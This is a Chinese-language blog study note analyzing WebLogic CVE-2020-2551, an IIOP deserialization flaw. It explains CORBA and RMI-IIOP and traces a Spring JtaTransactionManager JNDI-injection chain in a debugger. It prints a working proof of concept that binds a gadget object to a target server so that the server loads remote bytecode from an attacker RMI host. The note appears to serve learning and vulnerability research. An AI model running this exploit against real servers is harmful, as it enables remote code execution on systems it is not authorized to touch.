weblogic-CVE--2551-IIOP反序列化学习记录

时间:2024-01-26 15:26:56

CORBA:

具体的对CORBA的介绍安全客这篇文章https://www.anquanke.com/post/id/199227说的很详细,但是完全记住是不可能的,我觉得读完它要弄清以下几个点:

1.什么是CORBA?

CORBA全称(Common ObjectRequest Broker Architecture)也就是公共对象请求代理体系结构,是OMG(对象管理组织)制定的一种标准的面向对象应用程序体系规范。其提出是为了解决不同应用程序间的通信,曾是分布式计算的主流技术。

2.CORBA能干什么?

实现远程对象的调用

3.CORBA分为几部分?

naming service  //个人感觉类似于RMI的注册表服务
client side
servant side

4.CORBA的通信流程是怎样的?

从大体上了解通信流程是怎样的,这里借用里面的图:

 

1.启动orbd作为naming service,会创建name service服务。
2.corba server向orbd发送请求获取name service,协商好通信格式
3.orbd返回保存的name service
4.corba server拿到name service后将具体的实现类绑定到name service上,这个时候orbd会拿到注册后的信息,这个信息就是IOR。
5.corba client向orbd发起请求获取name service。
6.orbd返回保存的name service。
7.corba client在name service中查找已经注册的信息获取到“引用”的信息(corba server的地址等),通过orb的连接功能将远程方法调用的请求转发到corba server。
8.corba server通过orb接收请求,并利用POA拦截请求,将请求中所指定的类封装好,同样通过orb的连接功能返回给corba client。

以上1-4步主要为服务端参与,即完成服务端去注册类的信息,每个类对应一个IOR,里面包含对所注册的类的描述信息

以上5-8步主要为客户端通过orb来获取name service,然后在注册信息中查找想要调用的类的“引用”,拿到stub,然后调用方法,经orb传到服务端被poa拦截后处理只将结果返回给客户端,所以方法执行不在客户端,为rpc(远程过程调用)

5.CORBA用来进行数据传输的协议是什么?

GIOP全称(General Inter-ORB Protocol)通用对象请求协议。GIOP针对不同的通信层有不同的具体实现,而针对于TCP/IP层,其实现名为IIOP(Internet Inter-ORB Protocol)。所以说通过TCP协议传输的GIOP数据可以称为IIOP。而ORB与GIOP的关系是GIOP起初就是为了满足ORB间的通信的协议。所以也可以说ORB是CORBA通信的媒介。

6.什么是ORB?

orb就是(Object Request Broker)对象请求代理,充当客户端与服务端通信的媒介,而客户端或服务端想要调用orb来发送/处理请求就需要Stubskeleton,这两部分的具体实现就是StubPOA

7.什么是ORBD?

ORBD可以理解为ORB的守护进程,其主要负责建立客户端(client side)与服务端(servant side)的关系,同时负责查找指定的IOR(可互操作对象引用,是一种数据结构,是CORBA标准的一部分)。ORBD是由Java原生支持的一个服务,其在整个CORBA通信中充当着naming service的作用,所以客户端和服务端要使用ORB,都要指定ORBD的端口和地址。

8.什么是stub和poa?

Stubclient side调用orb的媒介,POAservant side用于拦截client请求的媒介,而两者在结构上其实都是客户端/服务端调用orb的媒介

9.stub的生成方式是什么?

客户端stub的生成方式(不只以下三种):

首先获取NameServer,后通过resolve_str()方法生成(NameServer生成方式)
使用ORB.string_to_object生成(ORB生成方式)
使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)

而以上三种方法都可以总结成两步:

从orbd获取NameService,NameService中包含IOR
根据IOR的信息完成rpc调用

10.IOR中包含什么?

type_id:用于指定本次(资料库或者说是引用)注册的id(实际上是接口类型,就是用于表示接口的唯一标识符),用于实现类型安全。
Profile_host、Profile_port:servant side地址。
Profile ID:指定了profile_data中的内容,例如这里的TAG_INTERNET_IOP所指定的就是IIOP Profile。
Codebase:用于获取stub类的远程位置。通过控制这个属性,攻击者将控制在服务器中解码IOR引用的类

11.CORBA数据的特点是什么?

CORBA的数据传递与传统的序列化传输方式不同,即在二进制流中没有ac ed 00 05的标识,所以单纯从流量的角度是很难识别的,只能从流量上下文中进行识别。

12.编写一个Java CORBA IIOP远程调用步骤:

1.使用idl定义远程接口
2.使用idlj编译idl,将idl映射为Java,它将生成接口的Java版本类以及存根和骨架的类代码文件,这些文件使应用程序可以挂接到ORB。在远程调用的客户端与服务端编写代码中会使用到这些类文件。
3.编写服务端代码
4.编写客户端代码
5.依次启动命名服务->服务端->客户端

由上面的话可以明白服务端挂到ORB上的类必须给客户端生成用于IIOP通信的客户端和服务端类,客户端与服务端的通信依靠着stub,stub从orb中拿

corba的iiop需要字节编写idl接口,并且编译成java类,比较麻烦,所以有了rmi-iiop,结合了rmi的优点,RMI-IIOP克服了RMI只能用于Java的缺点和CORBA的复杂性(可以不用掌握IDL)

rmi-iiop例子

服务端代码:

package com.longofo.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class HelloServer {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";

    public static void main(String[] args) {
        try {
            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); //设置codebase地址
            //实例化Hello servant
            HelloImpl helloRef = new HelloImpl(); //要绑定的类

            //使用JNDI在命名服务中发布引用
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); 
            initialContext.rebind("HelloService", helloRef); //通过定义命名 HelloService 对应要绑定的类(实际上绑定的为实例)

            System.out.println("Hello Server Ready...");

            Thread.currentThread().join();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); //初始化上下文
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
}

客户端代码:

package com.longofo.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.rmi.PortableRemoteObject;
import java.util.Hashtable;

public class HelloClient {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";

    public static void main(String[] args) {
        try {
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");

            //从命名服务获取引用,拿到stub
            Object objRef = initialContext.lookup("HelloService"); 
            //narrow引用为具体的对象
            HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class);
            EvilMessage message = new EvilMessage(); //发送该对象到服务端,服务端收到后将会还原该对象,即调用该类的readObject
            message.setMsg("Client call method sayHello...");
            hello.sayHello(message);
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
}

首先要为客户端和服务端针对HelloImpl接口生成为了进行远程调用所需要的类

 

 此时新生成了两个文件,一个tie是服务端用的,一个stub是客户端用的

 那么服务端实际上只完成的是匹配sayhello方法和反射调用,客户端主要定义了服务端可调用的sayhello方法的基本架构,那你客户端只有拿到这个stub才能调用远程对象的方法就说的通了,只要将这个类文件托管到orb上,orbd对接收到的客户端的iiop请求进行匹配,若是请求名是对应为对该类文件的绑定,则进行该类文件的分发,客户端拿到该类文件实际上就是拿到stub,然后客户端本地在通过该stub来实现所谓的远程调用

然后再启动orbd进程,作为实际的orb操作者,监听1050端口,然后再启动服务端

 之后启动客户端调用sayhello的同时发送message对象,此时因为服务端收到message对象

并且调用了其readObject方法,当然这里作为实验只是重写了readObject方法,那么如果服务器端本地有可以利用的gadget,并且可调用的方法的入口参数也为object类型,那么同样可以打,但是这里和之前学习rmi调用时存在的洞很类似,利用的限制条件还是比较高的,首先客户端也要有你服务器端反序列化的该类的定义,并且报名类名得完全一致才可以

 

 后面也示范了动态类加载的机制,也就是和rmi一样,反序列化过程中本地找不到需要的class将去codebase指定的地址进行记载。

Weblogic中的RMI-IIOP

Weblogic默认是开启了iiop协议的,但是如果想要如上述流程来打weblogic,那么就要找到weblogic中绑定到orb的类必须得给客户端和服务端生成远程调用的两种类,然而Weblogic默认绑定了远程名称的实现类没有为IIOP实现服务端类与客户端类,但是没有绑定的一些类却实现了,所以默认无法利用了的正是服务端去绑定类的时黑名单的绕过,weblogic安装可以参考https://blog.csdn.net/acmman/article/details/70093877这篇文章,因为要对weblogic进行debug,因此在user_projects\domains\base_domain的startWebLogic.cmd文件中中设置debug标志

 

接下来配置idea,添加debug要依赖的jar包

添加debug链接选项,端口就写上面weblogic开的debug端口

 

poc:

public class Main {
    public static void main(String[] args) throws Exception {
        String ip = "192.168.3.247";
        String port ="7001";
        String rmiurl = "rmi://192.168.3.199:1099/Exploit";
        String rhost = String.format("iiop://%s:%s", ip, port);
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", rhost);
        Context context = new InitialContext(env);
        
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(rmiurl);
        context.bind("tr1ple", jtaTransactionManager);

}
    }

这里用到了一个入口类org.springframework.transaction.jta.JtaTransactionManager,该类在之前在spring里就爆出过jndi

spring-jndi:

先本地测试一下这个类:

这里需要添加两个依赖:

    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-tx</artifactId>
        <version>4.2.4.RELEASE</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/org.springframework/spring-context -->
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-context</artifactId>
        <version>4.2.4.RELEASE</version>
    </dependency>

调用栈如下所示:

 

那么首先进入该类的initUserTransactionAndTransactionManager方法中

 

然后将进入this.lookupUserTransaction方法中,因为this.userTransaction默认为null

 

那么此时就看到熟悉的lookup函数了,并且此时的userTransactionName又是可控的,所以妥妥的JNDI注入

 

 

那么本地起个rmi referver即可,那么在getObjectFactoryFromReference函数中就会到rmi server指定的codebase去加载工厂类

最终通过newInstance实例化工厂类从而触发calc

 

 

 

cve-2020-2551:

首先根据poc的bind函数下端点,看一下要进行什么操作,因为在获取上下文时poc已经要与orb进行一次通信,所以此时数据包:

首先客户端192.168.3.199向weblogic 192.168.3.247请求locaterequest,这里实际上是请求nameservice

然后orb返回的数据包中包含命名上下文和ior

 

然后步入bind函数:

 这里实际上是调用orb返回的命名上下文将我们指定的JtaTransactionManager实例向orb进行绑定

 接下来在bind_any函数中进行序列化数据的构造,这里可以看到weblogic用的序列化输出流是iiopOutputstream,所以在网络中传输的数据流中是看不到原生objectoutputsteam的magic头部的

接着调用iiopOutputstream的write_any函数写入jta类,进一步在weblogic/corba/idl/AnyImpl的write_value中写入序列化数据

接着调用_invoke发送序列化数据

并最终调用EndpointImpl的send函数发送上文构造的iiopoutputstream,可以看到里面的giop数据已经在本地构造完成,所以此时199将给orb发送一条giop消息,进行jta类实例的绑定

那么此时对于weblogic而言应该接受到了giop消息,所以要对其进行处理,那么序列化用的是iiopoutputstream,那么反序列化应该用的是iiopInputstream输入流,因此找到该类的read_any处下断点并发送poc

 

 和序列化相对应,此时实例化AnyImpl实例调用其read_value读取序列化数据,并且在ValueHandlerImpl.readValue中从iiopStream中拿到objectInputstream然后调用jta类的readObject进行反序列化

 

接下来就是之前讲的spring的jndi,weblogic加载Exploit.class从而进行rce

 

 

调试时注意问题:

因为这里实际上是模拟服务端来向orb绑定,因此服务端相对于orb来说也是一个客户端,这里要用到orbhelper来获取命名服务

而getORBhelper里面会判断当前是不是瘦客户端

 

 因为要模拟服务器端所以,这里必须让thinClient为false,因此这个静态代码快必须到捕获异常块

总结: 

整个攻击过程就是假冒服务端来进行类实例的绑定而与weblogic进行giop通信发送序列化数据,而weblogic接收到序列化数据再进行实例还原,整个流程没问题,主要还是weblogic本身在反序列化是没有对类黑名单做好限制。当然在分析过程中抓包来分析通信也更能清晰了解网络通信流程,也更有助于我们理解漏洞原理。

weblogic-cve-2020-2551 IIOP反序列化导致远程代码执行漏洞,主要是IIOP支持RMI方式的远程方法调用,所以在CORBA这种通信架构中可以伪造服务端和ORB通信,在获取到context后,绑定恶意的远程调用类到ORB,加上黑名单校验不严,存在springboot的jndi注入的gadget,因此导致回连恶意的rmi server造成加载我们构造的任意字节码来RCE

参考:

1.https://www.anquanke.com/post/id/196555 讲java corba的文章

2.https://www.anquanke.com/post/id/175738  基于攻击流量和日志对Weblogic各类漏洞的分析思路

3.https://www.anquanke.com/post/id/177546  WebLogic 多个CVE XXE漏洞分析

4.https://www.anquanke.com/post/id/180725   浅谈Weblogic反序列化——XMLDecoder的绕过史

5.https://www.anquanke.com/post/id/195865#h2-2  t3反序列化

7.https://www.anquanke.com/post/id/199227 讲corba的原理

9.https://www.anquanke.com/post/id/184068#h2-14 讲weblogic 很详细

10.https://blog.csdn.net/acmman/article/details/70093877 weblogic安装

11.https://www.anquanke.com/post/id/199966 cve 2020-2551 

12.https://xz.aliyun.com/t/7374#toc-9  cve 2020-2551 

13.https://www.anquanke.com/post/id/199695#h3-2   cve 2020-2551

14.https://www.anquanke.com/post/id/197605  iiop反序列化